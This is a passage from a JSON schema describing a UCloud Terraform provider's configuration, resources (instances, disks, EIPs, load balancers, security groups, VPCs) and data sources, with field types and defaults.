\"Description\": \"...\",\n \"DefaultFunc\": \"ENV(UCLOUD_PUBLIC_KEY)\"\n },\n \"region\": {\n \"Type\": \"String\",\n \"Required\": true,\n \"Description\": \"...\",\n \"DefaultFunc\": \"ENV(UCLOUD_REGION)\"\n },\n \"shared_credentials_file\": {\n \"Type\": \"String\",\n \"Optional\": true,\n \"Description\": \"...\",\n \"DefaultFunc\": \"ENV(UCLOUD_SHARED_CREDENTIAL_FILE)\"\n }\n },\n \"resources\": {\n \"ucloud_db_instance\": {\n \"availability_zone\": {\n \"Type\": \"String\",\n \"Required\": true\n },\n \"backup_begin_time\": {\n \"Type\": \"Int\",\n \"Optional\": true,\n \"Computed\": true\n },\n \"backup_black_list\": {\n \"Type\": \"Set\",\n \"Optional\": true,\n \"Computed\": true,\n \"Elem\": {\n \"Type\": \"SchemaElements\",\n \"ElementsType\": \"String\"\n }\n },\n \"backup_count\": {\n \"Type\": \"Int\",\n \"Optional\": true,\n \"Default\": {\n \"Type\": \"int\",\n \"Value\": \"7\"\n }\n },\n \"backup_date\": {\n \"Type\": \"String\",\n \"Optional\": true,\n \"Computed\": true\n },\n \"charge_type\": {\n \"Type\": \"String\",\n \"Optional\": true,\n \"Default\": {\n \"Type\": \"string\",\n \"Value\": \"month\"\n }\n },\n \"create_time\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"duration\": {\n \"Type\": \"Int\",\n \"Optional\": true\n },\n \"engine\": {\n \"Type\": \"String\",\n \"Required\": true\n },\n \"engine_version\": {\n \"Type\": \"String\",\n \"Required\": true\n },\n \"expire_time\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"instance_storage\": {\n \"Type\": \"Int\",\n \"Required\": true\n },\n \"instance_type\": {\n \"Type\": \"String\",\n \"Required\": true\n },\n \"modify_time\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"name\": {\n \"Type\": \"String\",\n \"Optional\": true,\n \"Computed\": true\n },\n \"password\": {\n \"Type\": \"String\",\n \"Optional\": true,\n \"Computed\": true\n },\n \"port\": {\n \"Type\": \"Int\",\n \"Optional\": true,\n \"Computed\": true\n },\n \"standby_zone\": {\n \"Type\": \"String\",\n \"Optional\": true\n },\n \"status\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"subnet_id\": {\n \"Type\": \"String\",\n \"Optional\": true,\n \"Computed\": true\n },\n \"tag\": {\n \"Type\": \"String\",\n \"Optional\": true,\n \"Computed\": true\n },\n \"vpc_id\": {\n \"Type\": \"String\",\n \"Optional\": true,\n \"Computed\": true\n }\n },\n \"ucloud_disk\": {\n \"availability_zone\": {\n \"Type\": \"String\",\n \"Required\": true\n },\n \"charge_type\": {\n \"Type\": \"String\",\n \"Optional\": true,\n \"Default\": {\n \"Type\": \"string\",\n \"Value\": \"month\"\n }\n },\n \"create_time\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"disk_size\": {\n \"Type\": \"Int\",\n \"Required\": true\n },\n \"disk_type\": {\n \"Type\": \"String\",\n \"Optional\": true,\n \"Default\": {\n \"Type\": \"string\",\n \"Value\": \"data_disk\"\n }\n },\n \"duration\": {\n \"Type\": \"Int\",\n \"Optional\": true,\n \"Default\": {\n \"Type\": \"int\",\n \"Value\": \"1\"\n }\n },\n \"expire_time\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"name\": {\n \"Type\": \"String\",\n \"Optional\": true,\n \"Computed\": true\n },\n \"status\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"tag\": {\n \"Type\": \"String\",\n \"Optional\": true,\n \"Default\": {\n \"Type\": \"string\",\n \"Value\": \"Default\"\n }\n }\n },\n \"ucloud_disk_attachment\": {\n \"availability_zone\": {\n \"Type\": \"String\",\n \"Required\": true\n },\n \"disk_id\": {\n \"Type\": \"String\",\n \"Required\": true\n },\n \"instance_id\": {\n \"Type\": \"String\",\n \"Required\": true\n }\n },\n \"ucloud_eip\": {\n \"bandwidth\": {\n \"Type\": \"Int\",\n \"Optional\": true,\n \"Default\": {\n \"Type\": \"int\",\n \"Value\": \"1\"\n }\n },\n \"charge_mode\": {\n \"Type\": \"String\",\n \"Optional\": true,\n \"Default\": {\n \"Type\": \"string\",\n \"Value\": \"bandwidth\"\n }\n },\n \"charge_type\": {\n \"Type\": \"String\",\n \"Optional\": true,\n \"Default\": {\n \"Type\": \"string\",\n \"Value\": \"month\"\n }\n },\n \"create_time\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"duration\": {\n \"Type\": \"Int\",\n \"Optional\": true,\n \"Default\": {\n \"Type\": \"int\",\n \"Value\": \"1\"\n }\n },\n \"expire_time\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"internet_type\": {\n \"Type\": \"String\",\n \"Required\": true\n },\n \"ip_set\": {\n \"Type\": \"List\",\n \"Computed\": true,\n \"MaxItems\": 2,\n \"Elem\": {\n \"Type\": \"SchemaInfo\",\n \"Info\": {\n \"internet_type\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"ip\": {\n \"Type\": \"String\",\n \"Computed\": true\n }\n }\n }\n },\n \"name\": {\n \"Type\": \"String\",\n \"Optional\": true,\n \"Computed\": true\n },\n \"public_ip\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"remark\": {\n \"Type\": \"String\",\n \"Optional\": true,\n \"Computed\": true\n },\n \"resource\": {\n \"Type\": \"Map\",\n \"Computed\": true,\n \"Elem\": {\n \"Type\": \"SchemaInfo\",\n \"Info\": {\n \"id\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"type\": {\n \"Type\": \"String\",\n \"Computed\": true\n }\n }\n }\n },\n \"status\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"tag\": {\n \"Type\": \"String\",\n \"Optional\": true,\n \"Default\": {\n \"Type\": \"string\",\n \"Value\": \"Default\"\n }\n }\n },\n \"ucloud_eip_association\": {\n \"eip_id\": {\n \"Type\": \"String\",\n \"Required\": true\n },\n \"resource_id\": {\n \"Type\": \"String\",\n \"Required\": true\n },\n \"resource_type\": {\n \"Type\": \"String\",\n \"Optional\": true,\n \"Computed\": true,\n \"Deprecated\": \"attribute `resource_type` is deprecated for optimizing parameters\"\n }\n },\n \"ucloud_instance\": {\n \"__timeouts__\": [\n \"create\",\n \"update\",\n \"delete\"\n ],\n \"auto_renew\": {\n \"Type\": \"Bool\",\n \"Computed\": true\n },\n \"availability_zone\": {\n \"Type\": \"String\",\n \"Required\": true\n },\n \"boot_disk_size\": {\n \"Type\": \"Int\",\n \"Optional\": true,\n \"Computed\": true\n },\n \"boot_disk_type\": {\n \"Type\": \"String\",\n \"Optional\": true,\n \"Computed\": true\n },\n \"charge_type\": {\n \"Type\": \"String\",\n \"Optional\": true,\n \"Default\": {\n \"Type\": \"string\",\n \"Value\": \"month\"\n }\n },\n \"cpu\": {\n \"Type\": \"Int\",\n \"Computed\": true\n },\n \"create_time\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"data_disk_size\": {\n \"Type\": \"Int\",\n \"Optional\": true,\n \"Computed\": true\n },\n \"data_disk_type\": {\n \"Type\": \"String\",\n \"Optional\": true,\n \"Computed\": true\n },\n \"disk_set\": {\n \"Type\": \"List\",\n \"Computed\": true,\n \"Elem\": {\n \"Type\": \"SchemaInfo\",\n \"Info\": {\n \"id\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"is_boot\": {\n \"Type\": \"Bool\",\n \"Computed\": true\n },\n \"size\": {\n \"Type\": \"Int\",\n \"Computed\": true\n },\n \"type\": {\n \"Type\": \"String\",\n \"Computed\": true\n }\n }\n }\n },\n \"duration\": {\n \"Type\": \"Int\",\n \"Optional\": true\n },\n \"expire_time\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"image_id\": {\n \"Type\": \"String\",\n \"Required\": true\n },\n \"instance_type\": {\n \"Type\": \"String\",\n \"Required\": true\n },\n \"ip_set\": {\n \"Type\": \"List\",\n \"Computed\": true,\n \"Elem\": {\n \"Type\": \"SchemaInfo\",\n \"Info\": {\n \"internet_type\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"ip\": {\n \"Type\": \"String\",\n \"Computed\": true\n }\n }\n }\n },\n \"memory\": {\n \"Type\": \"Int\",\n \"Computed\": true\n },\n \"name\": {\n \"Type\": \"String\",\n \"Optional\": true,\n \"Computed\": true\n },\n \"remark\": {\n \"Type\": \"String\",\n \"Optional\": true,\n \"Computed\": true\n },\n \"root_password\": {\n \"Type\": \"String\",\n \"Optional\": true,\n \"Computed\": true\n },\n \"security_group\": {\n \"Type\": \"String\",\n \"Optional\": true,\n \"Computed\": true\n },\n \"status\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"subnet_id\": {\n \"Type\": \"String\",\n \"Optional\": true,\n \"Computed\": true\n },\n \"tag\": {\n \"Type\": \"String\",\n \"Optional\": true,\n \"Default\": {\n \"Type\": \"string\",\n \"Value\": \"Default\"\n }\n },\n \"vpc_id\": {\n \"Type\": \"String\",\n \"Optional\": true,\n \"Computed\": true\n }\n },\n \"ucloud_lb\": {\n \"charge_type\": {\n \"Type\": \"String\",\n \"Optional\": true,\n \"Deprecated\": \"attribute `charge_type` is deprecated for optimizing parameters\"\n },\n \"create_time\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"expire_time\": {\n \"Type\": \"String\",\n \"Computed\": true,\n \"Deprecated\": \"attribute `expire_time` is deprecated for optimizing outputs\"\n },\n \"internal\": {\n \"Type\": \"Bool\",\n \"Optional\": true,\n \"Computed\": true\n },\n \"ip_set\": {\n \"Type\": \"List\",\n \"Computed\": true,\n \"Elem\": {\n \"Type\": \"SchemaInfo\",\n \"Info\": {\n \"internet_type\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"ip\": {\n \"Type\": \"String\",\n \"Computed\": true\n }\n }\n }\n },\n \"name\": {\n \"Type\": \"String\",\n \"Optional\": true,\n \"Computed\": true\n },\n \"private_ip\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"remark\": {\n \"Type\": \"String\",\n \"Optional\": true,\n \"Computed\": true\n },\n \"subnet_id\": {\n \"Type\": \"String\",\n \"Optional\": true,\n \"Computed\": true\n },\n \"tag\": {\n \"Type\": \"String\",\n \"Optional\": true,\n \"Default\": {\n \"Type\": \"string\",\n \"Value\": \"Default\"\n }\n },\n \"vpc_id\": {\n \"Type\": \"String\",\n \"Optional\": true,\n \"Computed\": true\n }\n },\n \"ucloud_lb_attachment\": {\n \"listener_id\": {\n \"Type\": \"String\",\n \"Required\": true\n },\n \"load_balancer_id\": {\n \"Type\": \"String\",\n \"Required\": true\n },\n \"port\": {\n \"Type\": \"Int\",\n \"Optional\": true,\n \"Default\": {\n \"Type\": \"int\",\n \"Value\": \"80\"\n }\n },\n \"private_ip\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"resource_id\": {\n \"Type\": \"String\",\n \"Required\": true\n },\n \"resource_type\": {\n \"Type\": \"String\",\n \"Optional\": true,\n \"Computed\": true,\n \"Deprecated\": \"attribute `resource_type` is deprecated for optimizing parameters\"\n },\n \"status\": {\n \"Type\": \"String\",\n \"Computed\": true\n }\n },\n \"ucloud_lb_listener\": {\n \"domain\": {\n \"Type\": \"String\",\n \"Optional\": true,\n \"Computed\": true\n },\n \"health_check_type\": {\n \"Type\": \"String\",\n \"Optional\": true,\n \"Computed\": true\n },\n \"idle_timeout\": {\n \"Type\": \"Int\",\n \"Optional\": true,\n \"Computed\": true\n },\n \"listen_type\": {\n \"Type\": \"String\",\n \"Optional\": true,\n \"Default\": {\n \"Type\": \"string\",\n \"Value\": \"request_proxy\"\n }\n },\n \"load_balancer_id\": {\n \"Type\": \"String\",\n \"Required\": true\n },\n \"method\": {\n \"Type\": \"String\",\n \"Optional\": true,\n \"Default\": {\n \"Type\": \"string\",\n \"Value\": \"roundrobin\"\n }\n },\n \"name\": {\n \"Type\": \"String\",\n \"Optional\": true,\n \"Computed\": true\n },\n \"path\": {\n \"Type\": \"String\",\n \"Optional\": true,\n \"Computed\": true\n },\n \"persistence\": {\n \"Type\": \"String\",\n \"Optional\": true,\n \"Computed\": true\n },\n \"persistence_type\": {\n \"Type\": \"String\",\n \"Optional\": true,\n \"Default\": {\n \"Type\": \"string\",\n \"Value\": \"none\"\n }\n },\n \"port\": {\n \"Type\": \"Int\",\n \"Optional\": true,\n \"Default\": {\n \"Type\": \"int\",\n \"Value\": \"80\"\n }\n },\n \"protocol\": {\n \"Type\": \"String\",\n \"Required\": true\n },\n \"status\": {\n \"Type\": \"String\",\n \"Computed\": true\n }\n },\n \"ucloud_lb_rule\": {\n \"backend_ids\": {\n \"Type\": \"Set\",\n \"Required\": true,\n \"Elem\": {\n \"Type\": \"SchemaElements\",\n \"ElementsType\": \"String\"\n }\n },\n \"domain\": {\n \"Type\": \"String\",\n \"Optional\": true,\n \"ConflictsWith\": [\n \"path\"\n ]\n },\n \"listener_id\": {\n \"Type\": \"String\",\n \"Required\": true\n },\n \"load_balancer_id\": {\n \"Type\": \"String\",\n \"Required\": true\n },\n \"path\": {\n \"Type\": \"String\",\n \"Optional\": true,\n \"ConflictsWith\": [\n \"domain\"\n ]\n }\n },\n \"ucloud_lb_ssl\": {\n \"ca_cert\": {\n \"Type\": \"String\",\n \"Optional\": true\n },\n \"create_time\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"name\": {\n \"Type\": \"String\",\n \"Optional\": true,\n \"Computed\": true\n },\n \"private_key\": {\n \"Type\": \"String\",\n \"Required\": true\n },\n \"user_cert\": {\n \"Type\": \"String\",\n \"Required\": true\n }\n },\n \"ucloud_lb_ssl_attachment\": {\n \"listener_id\": {\n \"Type\": \"String\",\n \"Required\": true\n },\n \"load_balancer_id\": {\n \"Type\": \"String\",\n \"Required\": true\n },\n \"ssl_id\": {\n \"Type\": \"String\",\n \"Required\": true\n }\n },\n \"ucloud_security_group\": {\n \"create_time\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"name\": {\n \"Type\": \"String\",\n \"Optional\": true,\n \"Computed\": true\n },\n \"remark\": {\n \"Type\": \"String\",\n \"Optional\": true,\n \"Computed\": true\n },\n \"rules\": {\n \"Type\": \"Set\",\n \"Required\": true,\n \"Elem\": {\n \"Type\": \"SchemaInfo\",\n \"Info\": {\n \"cidr_block\": {\n \"Type\": \"String\",\n \"Optional\": true,\n \"Default\": {\n \"Type\": \"string\",\n \"Value\": \"0.0.0.0/0\"\n }\n },\n \"policy\": {\n \"Type\": \"String\",\n \"Optional\": true,\n \"Default\": {\n \"Type\": \"string\",\n \"Value\": \"accept\"\n }\n },\n \"port_range\": {\n \"Type\": \"String\",\n \"Optional\": true\n },\n \"priority\": {\n \"Type\": \"String\",\n \"Optional\": true,\n \"Default\": {\n \"Type\": \"string\",\n \"Value\": \"high\"\n }\n },\n \"protocol\": {\n \"Type\": \"String\",\n \"Optional\": true,\n \"Default\": {\n \"Type\": \"string\",\n \"Value\": \"tcp\"\n }\n }\n }\n }\n },\n \"tag\": {\n \"Type\": \"String\",\n \"Optional\": true,\n \"Default\": {\n \"Type\": \"string\",\n \"Value\": \"Default\"\n }\n }\n },\n \"ucloud_subnet\": {\n \"cidr_block\": {\n \"Type\": \"String\",\n \"Required\": true\n },\n \"create_time\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"name\": {\n \"Type\": \"String\",\n \"Optional\": true,\n \"Computed\": true\n },\n \"remark\": {\n \"Type\": \"String\",\n \"Optional\": true,\n \"Computed\": true\n },\n \"tag\": {\n \"Type\": \"String\",\n \"Optional\": true,\n \"Default\": {\n \"Type\": \"string\",\n \"Value\": \"Default\"\n }\n },\n \"vpc_id\": {\n \"Type\": \"String\",\n \"Required\": true\n }\n },\n \"ucloud_udpn_connection\": {\n \"bandwidth\": {\n \"Type\": \"Int\",\n \"Optional\": true,\n \"Default\": {\n \"Type\": \"int\",\n \"Value\": \"2\"\n }\n },\n \"charge_type\": {\n \"Type\": \"String\",\n \"Optional\": true,\n \"Default\": {\n \"Type\": \"string\",\n \"Value\": \"month\"\n }\n },\n \"create_time\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"duration\": {\n \"Type\": \"Int\",\n \"Optional\": true\n },\n \"expire_time\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"peer_region\": {\n \"Type\": \"String\",\n \"Required\": true\n }\n },\n \"ucloud_vpc\": {\n \"cidr_blocks\": {\n \"Type\": \"Set\",\n \"Required\": true,\n \"Elem\": {\n \"Type\": \"SchemaElements\",\n \"ElementsType\": \"String\"\n }\n },\n \"create_time\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"name\": {\n \"Type\": \"String\",\n \"Optional\": true,\n \"Computed\": true\n },\n \"network_info\": {\n \"Type\": \"List\",\n \"Computed\": true,\n \"Elem\": {\n \"Type\": \"SchemaInfo\",\n \"Info\": {\n \"cidr_block\": {\n \"Type\": \"String\",\n \"Computed\": true\n }\n }\n }\n },\n \"remark\": {\n \"Type\": \"String\",\n \"Optional\": true,\n \"Computed\": true\n },\n \"tag\": {\n \"Type\": \"String\",\n \"Optional\": true,\n \"Default\": {\n \"Type\": \"string\",\n \"Value\": \"Default\"\n }\n },\n \"update_time\": {\n \"Type\": \"String\",\n \"Computed\": true\n }\n },\n \"ucloud_vpc_peering_connection\": {\n \"peer_project_id\": {\n \"Type\": \"String\",\n \"Optional\": true,\n \"Computed\": true\n },\n \"peer_vpc_id\": {\n \"Type\": \"String\",\n \"Required\": true\n },\n \"vpc_id\": {\n \"Type\": \"String\",\n \"Required\": true\n }\n }\n },\n \"data-sources\": {\n \"ucloud_db_instances\": {\n \"availability_zone\": {\n \"Type\": \"String\",\n \"Optional\": true\n },\n \"db_instances\": {\n \"Type\": \"List\",\n \"Computed\": true,\n \"Elem\": {\n \"Type\": \"SchemaInfo\",\n \"Info\": {\n \"availability_zone\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"backup_begin_time\": {\n \"Type\": \"Int\",\n \"Computed\": true\n },\n \"backup_black_list\": {\n \"Type\": \"List\",\n \"Computed\": true,\n \"Elem\": {\n \"Type\": \"SchemaElements\",\n \"ElementsType\": \"String\"\n }\n },\n \"backup_count\": {\n \"Type\": \"Int\",\n \"Computed\": true\n },\n \"backup_date\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"charge_type\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"create_time\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"engine\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"engine_version\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"expire_time\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"id\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"instance_storage\": {\n \"Type\": \"Int\",\n \"Computed\": true\n },\n \"instance_type\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"modify_time\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"name\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"port\": {\n \"Type\": \"Int\",\n \"Computed\": true\n },\n \"standby_zone\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"status\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"subnet_id\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"tag\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"vpc_id\": {\n \"Type\": \"String\",\n \"Computed\": true\n }\n }\n }\n },\n \"ids\": {\n \"Type\": \"Set\",\n \"Optional\": true,\n \"Elem\": {\n \"Type\": \"SchemaElements\",\n \"ElementsType\": \"String\"\n }\n },\n \"name_regex\": {\n \"Type\": \"String\",\n \"Optional\": true\n },\n \"output_file\": {\n \"Type\": \"String\",\n \"Optional\": true\n },\n \"total_count\": {\n \"Type\": \"Int\",\n \"Computed\": true\n }\n },\n \"ucloud_disks\": {\n \"disk_type\": {\n \"Type\": \"String\",\n \"Optional\": true\n },\n \"disks\": {\n \"Type\": \"List\",\n \"Computed\": true,\n \"Elem\": {\n \"Type\": \"SchemaInfo\",\n \"Info\": {\n \"availability_zone\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"charge_type\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"create_time\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"disk_size\": {\n \"Type\": \"Int\",\n \"Computed\": true\n },\n \"disk_type\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"expire_time\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"id\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"name\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"status\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"tag\": {\n \"Type\": \"String\",\n \"Computed\": true\n }\n }\n }\n },\n \"ids\": {\n \"Type\": \"Set\",\n \"Optional\": true,\n \"Elem\": {\n \"Type\": \"SchemaElements\",\n \"ElementsType\": \"String\"\n }\n },\n \"name_regex\": {\n \"Type\": \"String\",\n \"Optional\": true\n },\n \"output_file\": {\n \"Type\": \"String\",\n \"Optional\": true\n },\n \"total_count\": {\n \"Type\": \"Int\",\n \"Computed\": true\n }\n },\n \"ucloud_eips\": {\n \"eips\": {\n \"Type\": \"List\",\n \"Computed\": true,\n \"Elem\": {\n \"Type\": \"SchemaInfo\",\n \"Info\": {\n \"bandwidth\": {\n \"Type\": \"Int\",\n \"Computed\": true\n },\n \"charge_mode\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"charge_type\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"create_time\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"expire_time\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"ip_set\": {\n \"Type\": \"List\",\n \"Computed\": true,\n \"Elem\": {\n \"Type\": \"SchemaInfo\",\n \"Info\": {\n \"internet_type\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"ip\": {\n \"Type\": \"String\",\n \"Computed\": true\n }\n }\n }\n },\n \"name\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"remark\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"status\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"tag\": {\n \"Type\": \"String\",\n \"Computed\": true\n }\n }\n }\n },\n \"ids\": {\n \"Type\": \"Set\",\n \"Optional\": true,\n \"Elem\": {\n \"Type\": \"SchemaElements\",\n \"ElementsType\": \"String\"\n }\n },\n \"name_regex\": {\n \"Type\": \"String\",\n \"Optional\": true\n },\n \"output_file\": {\n \"Type\": \"String\",\n \"Optional\": true\n },\n \"total_count\": {\n \"Type\": \"Int\",\n \"Computed\": true\n }\n },\n \"ucloud_images\": {\n \"availability_zone\": {\n \"Type\": \"String\",\n \"Optional\": true\n },\n \"image_id\": {\n \"Type\": \"String\",\n \"Optional\": true\n },\n \"image_type\": {\n \"Type\": \"String\",\n \"Optional\": true\n },\n \"images\": {\n \"Type\": \"List\",\n \"Computed\": true,\n \"Elem\": {\n \"Type\": \"SchemaInfo\",\n \"Info\": {\n \"availability_zone\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"create_time\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"description\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"features\": {\n \"Type\": \"List\",\n \"Computed\": true,\n \"Elem\": {\n \"Type\": \"SchemaElements\",\n \"ElementsType\": \"String\"\n }\n },\n \"id\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"name\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"os_name\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"os_type\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"size\": {\n \"Type\": \"Int\",\n \"Computed\": true\n },\n \"status\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"type\": {\n \"Type\": \"String\",\n \"Computed\": true\n }\n }\n }\n },\n \"name_regex\": {\n \"Type\": \"String\",\n \"Optional\": true\n },\n \"os_type\": {\n \"Type\": \"String\",\n \"Optional\": true\n },\n \"output_file\": {\n \"Type\": \"String\",\n \"Optional\": true\n },\n \"total_count\": {\n \"Type\": \"Int\",\n \"Computed\": true\n }\n },\n \"ucloud_instances\": {\n \"availability_zone\": {\n \"Type\": \"String\",\n \"Optional\": true\n },\n \"ids\": {\n \"Type\": \"Set\",\n \"Optional\": true,\n \"Elem\": {\n \"Type\": \"SchemaElements\",\n \"ElementsType\": \"String\"\n }\n },\n \"instances\": {\n \"Type\": \"List\",\n \"Computed\": true,\n \"Elem\": {\n \"Type\": \"SchemaInfo\",\n \"Info\": {\n \"auto_renew\": {\n \"Type\": \"Bool\",\n \"Computed\": true\n },\n \"availability_zone\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"charge_type\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"cpu\": {\n \"Type\": \"Int\",\n \"Computed\": true\n },\n \"create_time\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"disk_set\": {\n \"Type\": \"List\",\n \"Computed\": true,\n \"Elem\": {\n \"Type\": \"SchemaInfo\",\n \"Info\": {\n \"id\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"is_boot\": {\n \"Type\": \"Bool\",\n \"Computed\": true\n },\n \"size\": {\n \"Type\": \"Int\",\n \"Computed\": true\n },\n \"type\": {\n \"Type\": \"String\",\n \"Computed\": true\n }\n }\n }\n },\n \"expire_time\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"id\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"instance_type\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"ip_set\": {\n \"Type\": \"List\",\n \"Computed\": true,\n \"Elem\": {\n \"Type\": \"SchemaInfo\",\n \"Info\": {\n \"internet_type\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"ip\": {\n \"Type\": \"String\",\n \"Computed\": true\n }\n }\n }\n },\n \"memory\": {\n \"Type\": \"Int\",\n \"Computed\": true\n },\n \"name\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"remark\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"status\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"tag\": {\n \"Type\": \"String\",\n \"Computed\": true\n }\n }\n }\n },\n \"name_regex\": {\n \"Type\": \"String\",\n \"Optional\": true\n },\n \"output_file\": {\n \"Type\": \"String\",\n \"Optional\": true\n },\n \"tag\": {\n \"Type\": \"String\",\n \"Optional\": true\n },\n \"total_count\": {\n \"Type\": \"Int\",\n \"Computed\": true\n }\n },\n \"ucloud_lb_attachments\": {\n \"ids\": {\n \"Type\": \"Set\",\n \"Optional\": true,\n \"Elem\": {\n \"Type\": \"SchemaElements\",\n \"ElementsType\": \"String\"\n }\n },\n \"lb_attachments\": {\n \"Type\": \"List\",\n \"Computed\": true,\n \"Elem\": {\n \"Type\": \"SchemaInfo\",\n \"Info\": {\n \"id\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"port\": {\n \"Type\": \"Int\",\n \"Computed\": true\n },\n \"private_ip\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"resource_id\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"status\": {\n \"Type\": \"String\",\n \"Computed\": true\n }\n }\n }\n },\n \"listener_id\": {\n \"Type\": \"String\",\n \"Required\": true\n },\n \"load_balancer_id\": {\n \"Type\": \"String\",\n \"Required\": true\n },\n \"output_file\": {\n \"Type\": \"String\",\n \"Optional\": true\n },\n \"total_count\": {\n \"Type\": \"Int\",\n \"Computed\": true\n }\n },\n \"ucloud_lb_listeners\": {\n \"ids\": {\n \"Type\": \"Set\",\n \"Optional\": true,\n \"Elem\": {\n \"Type\": \"SchemaElements\",\n \"ElementsType\": \"String\"\n }\n },\n \"lb_listeners\": {\n \"Type\": \"List\",\n \"Computed\": true,\n \"Elem\": {\n \"Type\": \"SchemaInfo\",\n \"Info\": {\n \"domain\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"health_check_type\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"id\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"idle_timeout\": {\n \"Type\": \"Int\",\n \"Computed\": true\n },\n \"listen_type\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"method\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"name\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"path\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"persistence\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"persistence_type\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"port\": {\n \"Type\": \"Int\",\n \"Computed\": true\n },\n \"protocol\": {\n \"Type\": \"String\",\n \"Computed\": true\n },\n \"status\": {\n \"Type\": \"String\",\n \"Computed\": true\n }\n }\n }\n },\n \"load_balancer_id\": {\n \"Type\": \"String\",\n \"Required\": true\n },\n \"name_regex\": {\n \"Type\": \"String\",\n \"Optional\": true\n },\n \"output_file\": {\n \"Type\": \"String\",\n \"Optional\": true\n },\n \"total_count\": {\n \"Type\": \"Int\",\n \"Computed\": true\n }\n },\n \"ucloud_lb_rules\": {\n \"ids\": {\n \"Type\": \"Set\",\n \"Optional\": true,\n \"Elem\": {\n \"Type\": \"SchemaElements\",\n \"ElementsType\": \"String\"\n }\n },\n \"lb_rules\": {\n \"Type\": \"List\",\n \"Computed\": true,\n \"Elem\": {\n \"Type\": \"SchemaInfo\",\n 